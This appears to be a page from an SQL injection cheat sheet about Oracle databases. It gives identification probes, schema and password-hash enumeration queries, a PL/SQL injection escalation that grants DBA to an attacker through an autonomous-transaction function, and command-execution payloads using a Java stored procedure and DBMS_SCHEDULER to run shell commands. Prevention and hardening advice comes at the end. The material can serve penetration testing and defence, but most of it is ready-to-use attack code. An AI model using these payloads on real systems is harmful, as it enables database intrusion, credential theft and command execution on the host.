Oracle
Mandatory FROM clauses, no LIMIT, no stacked queries, and uppercase identifiers — the engine where the most standard payloads fail for syntactic reasons.
Fingerprinting
Oracle is usually identified by what fails. Payloads that work everywhere else error out because Oracle demands a FROM clause on every SELECT and has no LIMIT.
Markers:
SELECT 1is a syntax error;SELECT 1 FROM dualworks- Errors are numbered
ORA-##### ||concatenatesROWNUMinstead ofLIMIT/TOP
Identification probes
' AND 1=(SELECT 1 FROM dual)-- - -- dual exists only in Oracle
' AND ROWNUM=1-- -
' AND 1=(SELECT banner FROM v$version WHERE ROWNUM=1)-- -
-- The giveaway: a UNION that works elsewhere fails here
' UNION SELECT NULL-- - -- ORA-00923: FROM keyword not found
' UNION SELECT NULL FROM dual-- - -- works
-- Error format:
-- ORA-01756: quoted string not properly terminated
-- ORA-00933: SQL command not properly ended
-- ORA-01789: query block has incorrect number of result columnsSyntax Reference
| Operation | Syntax |
|---|---|
| Comment | -- - or /* */ |
| Version | SELECT banner FROM v$version WHERE ROWNUM=1 |
| Current user | SELECT user FROM dual SYS_CONTEXT('USERENV','SESSION_USER') |
| Current database | SELECT SYS_CONTEXT('USERENV','DB_NAME') FROM dual |
| Concatenation | a||b CONCAT(a,b) (two args only) |
| Substring | SUBSTR(s,1,1) |
| Length | LENGTH(s) |
| ASCII value | ASCII(c) |
| Char from code | CHR(65) |
| Cast | TO_CHAR(x) TO_NUMBER(x) CAST(x AS varchar2(50)) |
| Delay | DBMS_PIPE.RECEIVE_MESSAGE('a',5) DBMS_LOCK.SLEEP(5) |
| Conditional | CASE WHEN cond THEN a ELSE b END DECODE(x,a,b,c) |
| Row limit | WHERE ROWNUM=1 FETCH FIRST 1 ROWS ONLY (12c+) |
| Aggregate rows | LISTAGG(col,',') WITHIN GROUP (ORDER BY col) |
| No-table SELECT | Not possible — FROM dual is mandatory |
| Stacked queries | Not supported through standard drivers |
Schema Enumeration
-- Tables the current user can see
SELECT table_name FROM all_tables
SELECT table_name FROM user_tables -- owned by current user only
SELECT owner,table_name FROM all_tables WHERE owner NOT IN ('SYS','SYSTEM')
-- Columns. NOTE: Oracle stores unquoted identifiers UPPERCASE,
-- so match on the uppercase name or nothing comes back.
SELECT column_name,data_type FROM all_tab_columns WHERE table_name='USERS'
-- Everything at once
SELECT LISTAGG(table_name||'.'||column_name,', ')
WITHIN GROUP (ORDER BY table_name)
FROM all_tab_columns WHERE owner=USER
-- Users and privileges
SELECT username FROM all_users
SELECT * FROM user_role_privs
SELECT * FROM session_privs -- what THIS session can do
SELECT granted_role FROM user_role_privs WHERE granted_role='DBA'
-- Password hashes (needs SYS access)
SELECT name,password FROM sys.user$
SELECT username,password FROM dba_users -- 11g and earlierNo Stacked Queries — and What Replaces Them
Oracle's standard drivers do not permit multiple statements in one call, so '; DROP TABLE … simply errors. This removes the most direct escalation path available on MSSQL and PostgreSQL.
What is available instead:
Function calls inside the existing SELECT. Anything reachable as a function — UTL_HTTP.REQUEST, DBMS_PIPE.RECEIVE_MESSAGE — can be invoked without a second statement, which is why Oracle exploitation leans so heavily on the UTL_* packages.
PL/SQL injection. If the injection point is inside a PL/SQL block rather than a plain SQL statement — a common pattern in Oracle applications — you can inject full procedural code including EXECUTE IMMEDIATE, which is effectively arbitrary SQL execution.
Injectable stored procedures. A procedure defined with AUTHID DEFINER runs with its owner's privileges. Finding an injectable one owned by SYS is the classic Oracle privilege escalation. See Privilege Escalation.
PL/SQL injection and EXECUTE IMMEDIATE
-- Vulnerable procedure pattern: dynamic SQL built by concatenation
-- inside a DEFINER-rights procedure.
CREATE PROCEDURE get_user(p_name VARCHAR2) AUTHID DEFINER AS
v_sql VARCHAR2(4000);
BEGIN
v_sql := 'SELECT * FROM users WHERE name = ''' || p_name || '''';
EXECUTE IMMEDIATE v_sql;
END;
-- Injecting a function call that runs with the procedure owner's rights:
-- p_name = x'' AND 1=(SELECT my_evil_function FROM dual)--
-- The classic escalation: a function that grants DBA, called from
-- a SYS-owned injectable procedure.
CREATE FUNCTION evil RETURN VARCHAR2 AUTHID CURRENT_USER AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO attacker';
COMMIT;
RETURN 'x';
END;
-- AUTONOMOUS_TRANSACTION is required because DDL is not
-- permitted in the calling transaction context.File Access and Command Execution
-- File read via UTL_FILE (needs a directory object and EXECUTE on UTL_FILE)
SELECT directory_name,directory_path FROM all_directories;
DECLARE
f UTL_FILE.FILE_TYPE; s VARCHAR2(4000);
BEGIN
f := UTL_FILE.FOPEN('MY_DIR','file.txt','R');
UTL_FILE.GET_LINE(f,s);
END;
-- Java stored procedures — the main RCE route (needs JAVASYSPRIV)
CREATE OR REPLACE JAVA SOURCE NAMED "X" AS
public class X {
public static String run(String c) throws Exception {
Runtime.getRuntime().exec(c); return "ok";
}
};
CREATE FUNCTION jrun(c IN VARCHAR2) RETURN VARCHAR2
AS LANGUAGE JAVA NAME 'X.run(java.lang.String) return String';
SELECT jrun('/bin/sh -c id') FROM dual;
-- DBMS_SCHEDULER — execute without Java (needs CREATE JOB)
BEGIN
DBMS_SCHEDULER.CREATE_JOB(
job_name => 'x', job_type => 'EXECUTABLE',
job_action => '/bin/sh', number_of_arguments => 2,
enabled => FALSE);
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('x',1,'-c');
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('x',2,'id > /tmp/o');
DBMS_SCHEDULER.ENABLE('x');
END;Quirks Worth Knowing
Every SELECT needs FROM. Use FROM dual for expressions. This breaks most copy-pasted payloads and is the single most common reason an Oracle injection is missed.
No LIMIT. WHERE ROWNUM=1 for one row. ROWNUM is assigned before ORDER BY, so WHERE ROWNUM=1 ORDER BY x does not give you the first row by x — wrap the ordered query in a subquery instead. FETCH FIRST n ROWS ONLY exists from 12c.
Identifiers fold to UPPERCASE. WHERE table_name='users' returns nothing; it must be 'USERS'. This wastes a lot of time.
No stacked queries. Adjust expectations accordingly.
|| is the only reliable concatenation. CONCAT() takes exactly two arguments, unlike everywhere else.
Privilege model is package-centric. Whether you can do anything interesting comes down to EXECUTE grants on UTL_HTTP, UTL_FILE, DBMS_SCHEDULER, and friends — historically granted to PUBLIC on older installs.
Network ACLs. From 11g, UTL_HTTP and UTL_INADDR require an ACL grant for the target host, which blocks many otherwise-working out-of-band payloads.
Prevention
Use bind variables — :name in PL/SQL, ? in JDBC. See Java.
Within PL/SQL specifically, EXECUTE IMMEDIATE with a concatenated string is the recurring flaw. Use EXECUTE IMMEDIATE … USING with bind arguments, and prefer DBMS_ASSERT (SQL_OBJECT_NAME, ENQUOTE_LITERAL) when an identifier genuinely must be dynamic.
Oracle-specific hardening:
- Define procedures
AUTHID CURRENT_USERunless definer's rights are genuinely required. - Revoke
EXECUTEonUTL_HTTP,UTL_INADDR,UTL_FILE,DBMS_SCHEDULER,DBMS_PIPE, andDBMS_LOBfromPUBLIC. - Do not grant
JAVASYSPRIVorCREATE JOBto application accounts. - Keep network ACLs restrictive.
- Never let the application connect as
SYS,SYSTEM, or anyDBAmember.
Related
Coercing the database into embedding your query result inside its own error message. Fast extraction when errors reach the client but results do not.
Making the database itself send data to a host you control, over DNS or HTTP. The answer arrives on a channel the application never sees.
From a low-privilege database account to DBA, and from one database host to the next: credential harvesting, definer's-rights abuse, and linked-server pivoting.
The routes from an injected query to a shell on the database host, and which engines hand it to you directly.
PreparedStatement, the MyBatis #{} vs ${} distinction, JPA bind parameters, and the identifier problem no placeholder solves.
Manufacturing your own signal when the application reveals nothing at all: make the database pause, and read the answer from the clock.